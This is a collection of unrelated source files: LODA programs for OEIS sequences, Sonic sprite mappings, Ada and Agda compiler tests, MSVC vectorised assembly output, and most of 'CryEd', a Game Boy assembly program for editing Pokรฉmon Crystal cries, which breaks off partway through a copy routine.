|
oeis/065/A065234.asm | neoneye/loda-programs | 11 | 85779 | ; A065234: Fill a triangular array by rows by writing numbers 1 up to b(0), 1 up to b(1), etc., where b(n) are the decagonal numbers. The first elements of the rows form a(n).
; 1,1,3,6,10,5,11,18,26,8,18,29,41,2,16,31,47,64,82,16,36,57,79,102,126,25,51,78,106,135,165,21,53,86,120,155,191,228,34,73,113,154,196,239,283,31,77,124,172,221,271,322,4,57,111,166,222,279,337,396,5,66,128
lpb $0
add $2,$0
sub $0,1
lpe
mov $1,1
lpb $2
add $3,$1
add $1,8
sub $2,$3
lpe
mov $0,$2
add $0,1
|
_maps/obj62.asm | vladjester2020/Sonic1TMR | 0 | 96806 | <gh_stars>0
; ---------------------------------------------------------------------------
; Sprite mappings - gargoyle head (LZ)
; ---------------------------------------------------------------------------
dc.w byte_12320-Map_obj62, byte_12320-Map_obj62
dc.w byte_12330-Map_obj62, byte_12336-Map_obj62
byte_12320: dc.b 3
dc.b $F0, 4, 0, 0, 0
dc.b $F8, $D, 0, 2, $F0
dc.b 8, 8, 0, $A, $F8
byte_12330: dc.b 1
dc.b $FC, 4, 0, $D, $F8
byte_12336: dc.b 1
dc.b $FC, 4, 0, $F, $F8
even |
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/loop_optimization7_pkg.ads | best08618/asylo | 7 | 28621 | <gh_stars>1-10
package Loop_Optimization7_Pkg is
pragma Pure;
type Rec is record
F : Float;
end record;
function Conv (Trig : Rec) return Rec;
end Loop_Optimization7_Pkg;
|
oeis/196/A196472.asm | neoneye/loda-programs | 11 | 81839 | <reponame>neoneye/loda-programs
; A196472: a(1)=1; a(n) = floor((3 + sqrt(21))*a(n-1)/2) for n > 1.
; Submitted by <NAME>
; 1,3,11,41,155,587,2225,8435,31979,121241,459659,1742699,6607073,25049315,94969163,360055433,1365073787,5175387659,19621384337,74390315987,282035100971,1069276250873,4053934055531,15369630919211,58270694924225,220920977530307,837575017363595,3175487984681705,12039189006135899,45644030972452811,173049659935766129,656081072724656819,2487392197981268843,9430419812117776985,35753436030297137483,135551567527244743403,513915010672625642657,1948399734599611158179,7386944235816710402507
lpb $0
sub $0,1
mov $3,$2
mul $4,3
add $4,1
mov $2,$4
add $4,$3
lpe
mov $0,$4
mul $0,2
add $0,1
|
test/Fail/Issue1129b.agda | redfish64/autonomic-agda | 3 | 10864 | <filename>test/Fail/Issue1129b.agda
data _ร_ (A B : Set) : Set where
_,_ : A โ B โ A ร B
postulate
M : Set โ Set
_>>=_ : โ{A B : Set} โ M A โ (A โ M B) โ M B
infixr 1 bind
bind : _
bind = _>>=_
infix 0 id
id : โ{A : Set} โ A โ A
id = ฮป x โ x
syntax id x = do x
syntax bind ma (ฮป x โ f) = x โ ma , f
swapMโฒ : โ {A B} โ M (A ร B) โ M (B ร A)
swapMโฒ mAB =
do
(a , b) โ mAB
, return $ b , a
-- Was:
-- An internal error has occurred. Please report this as a bug.
-- Location of the error:
-- src/full/Agda/TypeChecking/Monad/Base.hs:1793
|
programs/oeis/288/A288038.asm | neoneye/loda | 22 | 170063 | ; A288038: Number of independent vertex sets in the n-Andrasfai graph.
; 3,11,33,89,225,545,1281,2945,6657,14849,32769,71681,155649,335873,720897,1540097,3276801,6946817,14680065,30932993,65011713,136314881,285212673,595591169,1241513985,2583691265,5368709121,11140071425,23085449217,47781511169,98784247809,204010946561,420906795009,867583393793,1786706395137,3676492005377,7559142440961,15530601742337,31885837205505,65420941852673,134140418588673,274877906944001,562949953421313,1152288185909249,2357352929951745,4820258976169985,9851624184872961,20125460834811905,41095346599755777,83879543059775489,171136785840078849,349028971121213441,711568741124538369,1450159080013299713,2954361355555045377,6016809102166982657,12249790986447749121,24931927537123065857,50728546202701266945,103186474662312804353,209831713838446149633,426580956704533381121,866996971464348925953,1761664059039262179329,3578668350299653013505,7268017165041563336705,14757395258967641292801,29957512375704311824385,60800468466946682126337,123371824364969481207809,250285423592091196325889,507654396908486860472321,1029475893265582656585729,2087285985428383184453633,4231240368651202111471617,8575817532891275708071937,17378308656960294386401281,35209964496276074713317377,71326623357263121307664385,144466635443948186377388033,292560048346740260278894593,592373651611168295606026241,1199254413057712141308526593,2427523045786175382810001409,4913074530913852966005899265,9942205940510710332783591425,20116525638387429467110768641,40697278791506876537308708865,82323012612477788280791760897,166502935283883646973932208129,336719690685623434772561788929,680867021606959151194518323201,1376589323685342865687826137089,2782889208313534857973231255553,5625199538512767969141620473857,11369241320796932444673556873217,22976167129136657902127745597441,46427703233358901829816754896897,93806144416888975710756037197825,189513764734120295523757129203713
mov $1,$0
mul $0,3
add $0,2
mov $2,2
pow $2,$1
mul $0,$2
add $0,1
|
autovectorization-tests/results/msvc19.28.29333-avx512/transform_abs.asm | clayne/toys | 0 | 7012 | _x$ = 8 ; size = 1
int <lambda_aef477b5112c5bc789d750d6e9e25197>::operator()(signed char)const PROC ; <lambda_aef477b5112c5bc789d750d6e9e25197>::operator(), COMDAT
movsx eax, BYTE PTR _x$[esp-4]
cdq
xor eax, edx
sub eax, edx
ret 4
int <lambda_aef477b5112c5bc789d750d6e9e25197>::operator()(signed char)const ENDP ; <lambda_aef477b5112c5bc789d750d6e9e25197>::operator()
_x$ = 8 ; size = 4
int <lambda_21a8e6427fe49c1429ea01155035878e>::operator()(int)const PROC ; <lambda_21a8e6427fe49c1429ea01155035878e>::operator(), COMDAT
mov eax, DWORD PTR _x$[esp-4]
cdq
xor eax, edx
sub eax, edx
ret 4
int <lambda_21a8e6427fe49c1429ea01155035878e>::operator()(int)const ENDP ; <lambda_21a8e6427fe49c1429ea01155035878e>::operator()
_v$ = 8 ; size = 4
void transform_abs_epi32(std::vector<int,std::allocator<int> > &) PROC ; transform_abs_epi32, COMDAT
mov eax, DWORD PTR _v$[esp-4]
push ebx
push esi
push edi
mov ebx, DWORD PTR [eax+4]
xor edi, edi
mov ecx, DWORD PTR [eax]
mov edx, ebx
sub edx, ecx
xor eax, eax
add edx, 3
mov esi, ecx
shr edx, 2
cmp ecx, ebx
cmova edx, eax
test edx, edx
je SHORT $LN33@transform_
cmp edx, 64 ; 00000040H
jb SHORT $LN33@transform_
lea eax, DWORD PTR [ecx-4]
lea eax, DWORD PTR [eax+edx*4]
cmp ecx, eax
jbe SHORT $LN33@transform_
and edx, -64 ; ffffffc0H
npad 9
$LL24@transform_:
vpabsd zmm0, ZMMWORD PTR [ecx]
vmovdqu32 ZMMWORD PTR [esi], zmm0
vpabsd zmm0, ZMMWORD PTR [ecx+64]
vmovdqu32 ZMMWORD PTR [esi+64], zmm0
vpabsd zmm0, ZMMWORD PTR [ecx+128]
vmovdqu32 ZMMWORD PTR [esi+128], zmm0
vpabsd zmm0, ZMMWORD PTR [ecx+192]
vmovdqu32 ZMMWORD PTR [esi+192], zmm0
add edi, 64 ; 00000040H
add esi, 256 ; 00000100H
add ecx, 256 ; 00000100H
cmp edi, edx
jne SHORT $LL24@transform_
$LN33@transform_:
cmp ecx, ebx
je SHORT $LN23@transform_
sub esi, ecx
npad 1
$LL32@transform_:
mov eax, DWORD PTR [ecx]
cdq
xor eax, edx
sub eax, edx
mov DWORD PTR [esi+ecx], eax
add ecx, 4
cmp ecx, ebx
jne SHORT $LL32@transform_
$LN23@transform_:
pop edi
pop esi
pop ebx
vzeroupper
ret 0
void transform_abs_epi32(std::vector<int,std::allocator<int> > &) ENDP ; transform_abs_epi32
_v$ = 8 ; size = 4
void transform_abs_epi8(std::vector<signed char,std::allocator<signed char> > &) PROC ; transform_abs_epi8, COMDAT
mov eax, DWORD PTR _v$[esp-4]
push ebx
push esi
push edi
mov edi, DWORD PTR [eax+4]
xor ebx, ebx
mov ecx, DWORD PTR [eax]
mov edx, edi
sub edx, ecx
xor eax, eax
cmp ecx, edi
mov esi, ecx
cmova edx, eax
test edx, edx
je SHORT $LN33@transform_
cmp edx, 64 ; 00000040H
jb SHORT $LN33@transform_
lea eax, DWORD PTR [ecx-1]
add eax, edx
cmp ecx, eax
jbe SHORT $LN33@transform_
and edx, -64 ; ffffffc0H
$LL24@transform_:
vpmovsxbd zmm0, XMMWORD PTR [ecx]
vpabsd zmm0, zmm0
vpmovdb xmm0, zmm0
vmovdqu XMMWORD PTR [esi], xmm0
vpmovsxbd zmm0, XMMWORD PTR [ecx+16]
vpabsd zmm0, zmm0
vpmovdb xmm0, zmm0
vmovdqu XMMWORD PTR [esi+16], xmm0
vpmovsxbd zmm0, XMMWORD PTR [ecx+32]
vpabsd zmm0, zmm0
vpmovdb xmm0, zmm0
vmovdqu XMMWORD PTR [esi+32], xmm0
vpmovsxbd zmm0, XMMWORD PTR [ecx+48]
vpabsd zmm0, zmm0
vpmovdb xmm0, zmm0
vmovdqu XMMWORD PTR [esi+48], xmm0
add ebx, 64 ; 00000040H
add esi, 64 ; 00000040H
add ecx, 64 ; 00000040H
cmp ebx, edx
jne SHORT $LL24@transform_
$LN33@transform_:
cmp ecx, edi
je SHORT $LN23@transform_
sub esi, ecx
$LL32@transform_:
movsx eax, BYTE PTR [ecx]
cdq
xor eax, edx
sub eax, edx
mov BYTE PTR [esi+ecx], al
inc ecx
cmp ecx, edi
jne SHORT $LL32@transform_
$LN23@transform_:
pop edi
pop esi
pop ebx
vzeroupper
ret 0
void transform_abs_epi8(std::vector<signed char,std::allocator<signed char> > &) ENDP ; transform_abs_epi8
|
Main.asm | MathyFurret/CryEd | 1 | 161865 | <filename>Main.asm
; ======================================
; CryEd - cry editor for Pokรฉmon Crystal
; ======================================
; Defines
include "Defines.asm"
; =============
; Reset vectors
; =============
section "Reset $00",rom0[$00]
CallHL: jp hl
section "Reset $08",rom0[$08]
FillRAM:: jp _FillRAM
section "Reset $10",rom0[$10]
WaitVBlank:: jp _WaitVBlank
section "Reset $18",rom0[$18]
WaitTimer:: jp _WaitTimer
section "Reset $20",rom0[$20]
WaitLCDC:: jp _WaitLCDC
section "Reset $30",rom0[$30]
Panic:: jp _Panic
section "Reset $38",rom0[$38]
GenericTrap::
xor a
jp _Panic
; ==================
; Interrupt handlers
; ==================
section "VBlank IRQ",rom0[$40]
IRQ_VBlank:: jp DoVBlank
section "STAT IRQ",rom0[$48]
IRQ_Stat:: jp DoStat
section "Timer IRQ",rom0[$50]
IRQ_Timer:: jp DoTimer
section "Serial IRQ",rom0[$58]
IRQ_Serial:: reti ; not used
section "Joypad IRQ",rom0[$60]
IRQ_Joypad:: reti ; not used
; ===============
; System routines
; ===============
include "SystemRoutines.asm"
; ==========
; ROM header
; ==========
section "ROM header",rom0[$100]
EntryPoint::
nop
jp ProgramStart
NintendoLogo: ; DO NOT MODIFY OR ROM WILL NOT BOOT!!!
db $ce,$ed,$66,$66,$cc,$0d,$00,$0b,$03,$73,$00,$83,$00,$0c,$00,$0d
db $00,$08,$11,$1f,$88,$89,$00,$0e,$dc,$cc,$6e,$e6,$dd,$dd,$d9,$99
db $bb,$bb,$67,$63,$6e,$0e,$ec,$cc,$dd,$dc,$99,$9f,$bb,$b9,$33,$3e
ROMTitle: romTitle "CRYED" ; ROM title (15 bytes)
GBCSupport: db $00 ; GBC support (0 = DMG only, $80 = DMG/GBC, $C0 = GBC only)
NewLicenseCode: db "DS" ; new license code (2 bytes)
SGBSupport: db 0 ; SGB support
CartType: db $1b ; Cart type, see hardware.inc for a list of values
ROMSize: ds 1 ; ROM size (handled by post-linking tool)
RAMSize: db 2 ; RAM size
DestCode: db 1 ; Destination code (0 = Japan, 1 = All others)
OldLicenseCode: db $33 ; Old license code (if $33, check new license code)
ROMVersion: db 0 ; ROM version
HeaderChecksum: ds 1 ; Header checksum (handled by post-linking tool)
ROMChecksum: ds 2 ; ROM checksum (2 bytes) (handled by post-linking tool)
; =====================
; Start of program code
; =====================
ProgramStart::
di
ld sp,$e000
push bc
push af
; disable LCD
.wait
ldh a,[rLY]
cp $90
jr nz,.wait
xor a
ldh [rLCDC],a
; init memory
ld hl,$c000 ; start of WRAM
ld bc,$1ffa ; don't clear stack
xor a
rst $08
ld hl,$8000 ; start of VRAM
ld bc,$2000
xor a
rst $08
; clear HRAM
ld bc,$7f80
xor a
.loop
ld [c],a
inc c
dec b
jr nz,.loop
call CopyDMARoutine
call $ff80 ; clear OAM
call LoadSaveScreen_SRAMCheck
jr nc,.noinitsram
ld a,$a
ld [rRAMG],a
xor a
ld hl,$a000
ld bc,$2000
rst $08
ld hl,.savestr
ld de,$a600
ld b,5
.strloop
ld a,[hl+]
ld [de],a
inc de
dec b
jr nz,.strloop
xor a
ld [$0000],a
jr .noinitsram
.savestr
db "SAVE!"
.noinitsram
; check GB type
; sets sys_GBType to 0 if DMG/SGB/GBP/GBL/SGB2, 1 if GBC, 2 if GBA/GBA SP/GB Player
; TODO: Improve checks to allow for GBP/SGB/SGB2 to be detected separately
pop af
pop bc
cp $11
jr nz,.dmg
.gbc
and 1 ; a = 1
add b ; b = 1 if on GBA
ld [sys_GBType],a
jr .continue
.dmg
xor a
ld [sys_GBType],a
.continue
InitCryEditor::
rst $10
xor a
ldh [rLCDC],a
ld a,9
ld [sys_MenuMax],a
xor a
ld [sys_MenuPos],a
call MapSetup_Sound_Off
; load font + graphics
CopyTileset1BPP Font,0,98
ld hl,CryEditorTilemap
call LoadMapText
; init rendering variables
SetDMGPal rBGP, 0,1,2,3
SetDMGPal rOBP0,0,0,2,3
SetDMGPal rOBP1,0,1,2,3
xor a
ldh [rSCX],a
ldh [rSCY],a
ldh [rWX],a
ldh [rWY],a
ld a,%10010001
ldh [rLCDC],a
ld a,IEF_VBLANK
ldh [rIE],a
ei
halt
CryEditorLoop::
ld a,[sys_btnPress]
bit btnA,a
jr nz,.playCry
bit btnStart,a
jr nz,.playCry
bit btnB,a
jr nz,.resetCry
bit btnSelect,a
jp nz,InitOptionsMenu
ld hl,sys_MenuPos
bit btnUp,a
jr nz,.editUp
bit btnDown,a
jr nz,.editDown
bit btnRight,a
jr nz,.cursorNext
bit btnLeft,a
jr nz,.cursorPrev
jr .continue
.resetCry
xor a
ld hl,CryEdit_CryBase
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
jr .continue
.playCry
ld hl,CryEdit_CryBase
ld d,0
ld e,[hl]
inc hl
ld a,[hl+]
ld [wCryPitch],a
ld a,[hl+]
ld [wCryPitch+1],a
ld a,[hl+]
ld [wCryLength],a
ld a,[hl+]
ld [wCryLength+1],a
call CryEd_PreviewCry
jr .continue
.editUp
ld e,1
call CryEdit_EditNybble
jr .continue
.editDown
ld e,0
call CryEdit_EditNybble
jr .continue
.setItem
ld [hl],b
jr .continue
.cursorNext
ld b," "-32
call CryEditor_DrawCursor
inc [hl]
ld b,[hl]
ld a,[sys_MenuMax]
inc a
cp b
jr nz,.setItem
ld [hl],0
jr .continue
.cursorPrev
ld b," "-32
call CryEditor_DrawCursor
dec [hl]
ld a,[hl]
cp $ff
ld b,a
jr nz,.setItem
ld a,[sys_MenuMax]
ld [hl],a
; fall through to .continue
.continue
ld b,"^"-32
call CryEditor_DrawCursor
ld a,[CryEdit_CryBase]
ld hl,$9831
call DrawHex
ld a,[CryEdit_CryPitch+1]
ld hl,$986f
call DrawHex
ld a,[CryEdit_CryPitch]
call DrawHex
ld a,[CryEdit_CryLength+1]
ld hl,$98af
call DrawHex
ld a,[CryEdit_CryLength]
call DrawHex
halt
call UpdateSound
jp CryEditorLoop
; INPUT: b = char to use for cursor
; Destroys A.
CryEditor_DrawCursor::
push hl
ld a,[sys_MenuPos]
ld hl,CryEdit_CursorLocations
add a
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
ld h,[hl]
ld l,a
; write char
WaitForVRAM
ld [hl],b
pop hl
ret
CryEdit_EditNybble:
ld a,[sys_MenuPos]
ld b,a
add a
add b
ld hl,CryEdit_NybbleLocations
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
ld d,a
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,d
and a
jr nz,.uppernybble
.lowernybble
ld a,e
and a
jr z,.sub1
jr .add1
.uppernybble
ld a,e
and a
jr z,.sub10
jr .add10
.add1
inc [hl]
ld a,[hl]
and $f
cp 0
ret nz
ld a,[hl]
sub $10
ld [hl],a
ret
.sub1
dec [hl]
ld a,[hl]
and $f
cp $f
ret nz
ld a,[hl]
add $10
ld [hl],a
ret
.add10
ld a,[hl]
add $10
ld [hl],a
ret
.sub10
ld a,[hl]
sub $10
ld [hl],a
ret
CryEdit_CursorLocations:
dw $9851,$9852 ; base
dw $988f,$9890,$9891,$9892 ; pitch
dw $98cf,$98d0,$98d1,$98d2 ; length
CryEdit_NybbleLocations:
dbw 1,CryEdit_CryBase
dbw 0,CryEdit_CryBase
dbw 1,CryEdit_CryPitch+1
dbw 0,CryEdit_CryPitch+1
dbw 1,CryEdit_CryPitch
dbw 0,CryEdit_CryPitch
dbw 1,CryEdit_CryLength+1
dbw 0,CryEdit_CryLength+1
dbw 1,CryEdit_CryLength
dbw 0,CryEdit_CryLength
Menu_DrawCursor::
push af
ld h,0
ld a,[sys_MenuPos]
ld l,a
add hl,hl ; x2
add hl,hl ; x4
add hl,hl ; x8
add hl,hl ; x16
add hl,hl ; x32
ld b,h
ld c,l
ld hl,$9861
add hl,bc
WaitForVRAM
pop af
ld [hl],a
ret
CryEditorTilemap::
; ####################
db " "
db " Base: $?? "
db " "
db " Pitch: $???? "
db " "
db " Length: $???? "
db " "
db " - CONTROLS - "
db "Left/Right Cursor"
db "Up/Down Edit value"
db "A/Start Test"
db "B Reset"
db "Select Menu"
db " "
db "Build date: "
.datestart
db __DATE__
.dateend
rept 20-(.dateend-.datestart)
db 20
endr
.timestart
db __TIME__
.timeend
rept 20-(.timeend-.timestart)
db 20
endr
db " "
; ####################
; ================================
InitOptionsMenu::
rst $10
xor a
ldh [rLCDC],a
ld a,2
ld [sys_MenuMax],a
xor a
ld [sys_MenuPos],a
call MapSetup_Sound_Off
; load font + graphics
CopyTileset1BPP Font,0,98
ld hl,OptionsMenuTilemap
call LoadMapText
xor a
call Options_PrintDescription
; init rendering variables
SetDMGPal rBGP, 0,1,2,3
SetDMGPal rOBP0,0,0,2,3
SetDMGPal rOBP1,0,1,2,3
xor a
ldh [rSCX],a
ldh [rSCY],a
ldh [rWX],a
ldh [rWY],a
ld a,%10010001
ldh [rLCDC],a
ld a,IEF_VBLANK
ldh [rIE],a
ei
ld de,6 ; SFX_MENU
call PlaySFX
halt
OptionsMenuLoop::
ld a,[sys_btnPress]
bit btnA,a
jr nz,.selectItem
bit btnB,a
jp nz,InitCryEditor
bit btnStart,a
jr nz,.selectItem
bit btnSelect,a
jr nz,.nextItem
bit btnUp,a
jr nz,.prevItem
bit btnDown,a
jr z,.continue
.nextItem
ld a," "-$20
call Menu_DrawCursor
ld a,[sys_MenuPos]
inc a
ld b,a
ld a,[sys_MenuMax]
inc a
cp b
ld a,b
jr nz,.setItem
xor a
.setItem
ld [sys_MenuPos],a
call Options_PrintDescription
jr .continue
.prevItem
ld a," "-$20
call Menu_DrawCursor
ld a,[sys_MenuPos]
dec a
cp $ff
jr nz,.setItem
ld a,[sys_MenuMax]
jr .setItem
.selectItem
ld hl,MenuItemPtrs_OptionsMenu
ld a,[sys_MenuPos]
add a
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld de,7 ; SFX_READ_TEXT
call PlaySFX
push af
; wait for SFX to finish playing
.waitSFX
call UpdateSound
halt
call IsSFXPlaying
jr nc,.waitSFX
call PtrToHL
rst $00
.continue
ld a,">"-$20
call Menu_DrawCursor
call UpdateSound
halt
jr OptionsMenuLoop
MenuItemPtrs_OptionsMenu::
dw .importCry
dw .loadSaveCry
dw .exit
.importCry
pop hl ; stack overflow prevention
jp InitCryImporter
.loadSaveCry
pop hl ; stack overflow prevention
xor a
jp InitLoadSaveScreen
.exit
pop hl ; stack overflow prevention
jp InitCryEditor
OptionsMenuTilemap::
; ####################
db " "
db " - OPTIONS - "
db " "
db " Import cry "
db " Load/save cry "
db " Exit "
db " "
db " "
db " "
db " "
db " "
db " "
db " "
db " "
db "DESCRIPTION LINE 1 "
db "DESCRIPTION LINE 2 "
db "DESCRIPTION LINE 3 "
db "DESCRIPTION LINE 4 "
OptionsMenu_DescriptionPointers:
dw .importCry
dw .loadSaveCry
dw .exit
.importCry
db "Import an existing "
db "cry. "
db " "
db " "
.loadSaveCry
db "Load or save a cry. "
db " "
db " "
db " "
.exit
db "Return to the cry "
db "editor. "
db " "
db " "
Options_PrintDescription:
ld bc,OptionsMenu_DescriptionPointers
ld h,0
ld l,a
add hl,hl
add hl,bc
ld a,[hl+]
ld h,[hl]
ld l,a
ld de,$99c0
ld bc,$414
.loop
ld a,[hl+]
sub 32
push af
WaitForVRAM
pop af
ld [de],a
inc de
dec c
jr nz,.loop
ld c,$14
ld a,e
add $c
jr nc,.continue
inc d
.continue
ld e,a
dec b
jr nz,.loop
ret
; ================
; Load/save screen
; ================
InitLoadSaveScreen:
rst $10
xor a
ldh [rLCDC],a
ld [sys_MenuPos],a
ld a,[SelectedSaveSlot]
ld [sys_MenuMax],a ; sys_MenuMax is repurposed as currently selected save slot
call MapSetup_Sound_Off
; load font + graphics
CopyTileset1BPP Font,0,98
CopyTileset1BPPInvert Font,$800,98
ld hl,LoadSaveScreenTilemap
call LoadMapText
xor a
ld hl,msg_dummy
call LoadSaveScreen_PrintLine
inc a
ld hl,msg_dummy
call LoadSaveScreen_PrintLine
; init rendering variables
SetDMGPal rBGP, 0,1,2,3
SetDMGPal rOBP0,0,0,2,3
SetDMGPal rOBP1,0,1,2,3
xor a
ldh [rSCX],a
ldh [rSCY],a
ldh [rWX],a
ldh [rWY],a
ld a,%10010001
ldh [rLCDC],a
ld a,IEF_VBLANK
ldh [rIE],a
ei
halt
LoadSaveScreenLoop:
call UpdateSound
ld hl,sys_MenuMax
ld a,[sys_btnPress]
bit btnA,a
jp nz,.selectSlot
bit btnB,a
jr nz,.exit
bit btnSelect,a
jr nz,.previewCry
bit btnUp,a
jr nz,.add16
bit btnDown,a
jr nz,.sub16
bit btnRight,a
jr nz,.add1
bit btnLeft,a
jr nz,.sub1
.continue
ld a,[sys_MenuMax]
ld [SelectedSaveSlot],a
ld hl,$9871
call DrawHex
halt
jr LoadSaveScreenLoop
.previewCry
call LoadSaveScreen_SRAMCheck
jr c,.previewfail
ld a,[sys_MenuMax]
call LoadSaveScreen_GetPtr
ld a,$a
ld [rRAMG],a
push hl
call LoadSave_CheckIfCryExists
jp nc,.crydoesntexist
pop hl
ld a,[hl+]
ld d,0
ld e,a
inc hl
ld a,[hl+]
ld [wCryPitch],a
ld a,[hl+]
ld [wCryPitch+1],a
ld a,[hl+]
ld [wCryLength],a
ld a,[hl+]
ld [wCryLength+1],a
call CryEd_PreviewCry
jr .continue
.previewfail
call MapSetup_Sound_Off
ld de,$19 ; SFX_WRONG
call PlaySFX
ld hl,msg_previewfail
jp .doprintmessage
.sub1
dec [hl]
jr .continue
.add1
inc [hl]
jr .continue
.sub16
ld a,[hl]
sub 16
ld [hl],a
jr .continue
.add16
ld a,[hl]
add 16
ld [hl],a
jr .continue
.exit
call MapSetup_Sound_Off
ld de,$e
call PlaySFX
.waitSFX
call UpdateSound
halt
call IsSFXPlaying
jr nc,.waitSFX
jp InitCryEditor
.selectSlot
call MapSetup_Sound_Off
ld de,$7
call PlaySFX
.loop1
xor a
ld hl,msg_loadsave
call LoadSaveScreen_PrintLine
inc a
ld hl,prompt_loadsave
call LoadSaveScreen_PrintLine
call LoadSaveScreen_WaitForPrompt
cp $ff
jp z,.cancel
and a
jp nz,.doSave
dec a
jr nz,.doLoad
jp .continue
.doLoad
call LoadSaveScreen_SRAMCheck
jr c,.loadfail
call LoadSaveScreen_GetPtr
ld a,$a
ld [rRAMG],a
push hl
call LoadSave_CheckIfCryExists
jr nc,.crydoesntexist
pop hl
ld a,[hl+]
ld [CryEdit_CryBase],a
inc hl
ld a,[hl+]
ld [CryEdit_CryPitch],a
ld a,[hl+]
ld [CryEdit_CryPitch+1],a
ld a,[hl+]
ld [CryEdit_CryLength],a
ld a,[hl]
ld [CryEdit_CryLength+1],a
xor a
ld [rRAMG],a
call MapSetup_Sound_Off
ld de,$22
call PlaySFX
ld hl,msg_loaded
jr .doprintmessage
.crydoesntexist
xor a
ld [rRAMG],a
call MapSetup_Sound_Off
ld de,$19 ; SFX_WRONG
call PlaySFX
ld hl,msg_slotempty
jr .doprintmessage
.loadfail
call MapSetup_Sound_Off
ld de,$19 ; SFX_WRONG
call PlaySFX
ld hl,msg_loadfail
jr .doprintmessage
.savefail
xor a
ld [rRAMG],a
call MapSetup_Sound_Off
ld de,$19 ; SFX_WRONG
call PlaySFX
ld hl,msg_savefail
.doprintmessage
xor a
call LoadSaveScreen_PrintLine
inc a
ld hl,msg_dummy
call LoadSaveScreen_PrintLine
call LoadSaveScreen_WaitForButton
ld b,60
.loop
push bc
call UpdateSound
halt
pop bc
dec b
jr nz,.loop
; fall through to .cancel
.cancel
xor a
ld [rRAMG],a
ld hl,msg_dummy
call LoadSaveScreen_PrintLine
inc a
ld hl,msg_dummy
call LoadSaveScreen_PrintLine
jp .continue
.doSave
; save check
ld a,$a
ld [rRAMG],a
ld hl,$a606
ld a,$ed
ld [hl],a
ld b,a
ld a,[hl]
cp b
jr nz,.savefail
ld a,[sys_MenuMax]
call LoadSaveScreen_GetPtr
push hl
; check if cry exists
call LoadSave_CheckIfCryExists
jr nc,.crydoesntexist2
xor a
ld hl,msg_overwrite
call LoadSaveScreen_PrintLine
inc a
ld hl,prompt_yesno
call LoadSaveScreen_PrintLine
call MapSetup_Sound_Off
ld de,$7
call PlaySFX
call LoadSaveScreen_WaitForPrompt
cp $ff
jr z,.cancel
and a
jr nz,.crydoesntexist2
jr .cancel
.crydoesntexist2
pop de
ld hl,CryEdit_CryBase
ld a,[hl+]
ld [de],a
inc de
inc de
ld b,4
.saveloop
ld a,[hl+]
ld [de],a
inc de
dec b
jr nz,.saveloop
xor a
ld [rRAMG],a
call MapSetup_Sound_Off
ld de,$22
call PlaySFX
ld hl,msg_saved
jp .doprintmessage
; carry = 1 if cry exists
LoadSave_CheckIfCryExists:
ld b,3
.loop
ld c,0
ld a,[hl+]
add c
ld c,a
ld a,[hl+]
add c
ld c,a
cp 0
jr nz,.exists
dec b
jr nz,.loop
and a ; clear carry
ret
.exists
scf
ret
LoadSaveScreen_GetPtr:
ld a,[sys_MenuMax]
ld e,a
ld d,0
ld hl,$a000
add hl,de
add hl,de
add hl,de
add hl,de
add hl,de
add hl,de
ret
LoadSaveScreen_SRAMCheck:
ld a,$a
ld [rRAMG],a ; enable SRAM
ld hl,$a600
ld b,5
ld c,0
.loop
ld a,[hl+]
add c
ld c,a
dec b
jr nz,.loop
xor a
ld [rRAMG],a
ld a,c
cp $50
scf
ret nz ; return carry = 1 if check failed
ccf ; return carry = 0 if check passed
ret
LoadSaveScreen_WaitForButton:
call UpdateSound
halt
ld a,[sys_btnPress]
and a
jr nz,LoadSaveScreen_WaitForButton
ret
; OUTPUT: 0 if item 1 selected, 1 if item 2 selected, $ff if user cancelled
LoadSaveScreen_WaitForPrompt:
xor a
ld [sys_MenuPos],a
halt
.loop
ld a,[sys_btnPress]
bit btnLeft,a
jr nz,.toggle
bit btnRight,a
jr nz,.toggle
bit btnA,a
jr nz,.select
bit btnB,a
jr nz,.cancel
.continue
ld a,[sys_MenuPos]
and a
jr nz,.right
.left
ld hl,$9a21
ld de,$9a2b
jr .drawcursor
.right
ld hl,$9a2b
ld de,$9a21
.drawcursor
WaitForVRAM
ld a,">"+$60
ld [hl],a
ld a," "+$60
ld [de],a
call UpdateSound
halt
jr .loop
.toggle
ld a,[sys_MenuPos]
xor 1
ld [sys_MenuPos],a
jr .continue
.select
ld a,[sys_MenuPos]
ret
.cancel
ld a,$ff
ret
LoadSaveScreenTilemap:
; ####################
db " "
db " - LOAD/SAVE - "
db " "
db " Save slot: $?? "
db " "
db " - CONTROLS - "
db "A Load/save"
db "B Cancel"
db "Select Preview"
db "D-pad Select"
db " "
db " "
db " "
db " "
db " "
db " "
db "MESSAGE GOES HERE "
db "PROMPT GOES HERE "
LoadSaveScreenMessages:
msg_dummy: db " "
msg_loadsave: db " LOAD OR SAVE? "
msg_overwrite: db " OVERWRITE? "
msg_saved: db " CRY SAVED "
msg_loaded: db " CRY LOADED "
msg_slotempty: db " SLOT EMPTY "
msg_savefail: db " SAVE FAILED! "
msg_loadfail: db " LOAD FAILED! "
msg_previewfail: db " PREVIEW FAILED! "
;msg_free: db " Free slot "
;msg_notfree: db " Slot in use "
prompt_loadsave: db " > Load Save "
prompt_yesno: db " > No Yes "
; INPUT: hl = string pointer, a = line no.
LoadSaveScreen_PrintLine:
push af
ld b,20
and a
jr nz,.line1
.line0
ld de,$9a00
jr .loop
.line1
ld de,$9a20
.loop
ld a,[hl+]
add $60
push af
WaitForVRAM
pop af
ld [de],a
inc de
dec b
jr nz,.loop
pop af
ret
; =============
; Misc routines
; =============
CryEd_PreviewCry:
ld a,[sys_CurrentROMBank]
push af
ld a,BANK(_PlayCry)
ld [sys_CurrentROMBank],a
ld [rROMB0],a
call _PlayCry
pop af
ld [sys_CurrentROMBank],a
ld [rROMB0],a
ret
; Fill RAM with a value.
; INPUT: a = value
; hl = address
; bc = size
_FillRAM::
ld e,a
.loop
ld [hl],e
inc hl
dec bc
ld a,b
or c
jr nz,.loop
ret
; Fill up to 256 bytes of RAM with a value.
; INPUT: a = value
; hl = address
; b = size
_FillRAMSmall::
ld e,a
.loop
ld [hl],e
inc hl
dec b
jr nz,.loop
ret
; Copy up to 65536 bytes to RAM.
; INPUT: hl = source
; de = destination
; bc = size
_CopyRAM::
ld a,[hl+]
ld [de],a
inc de
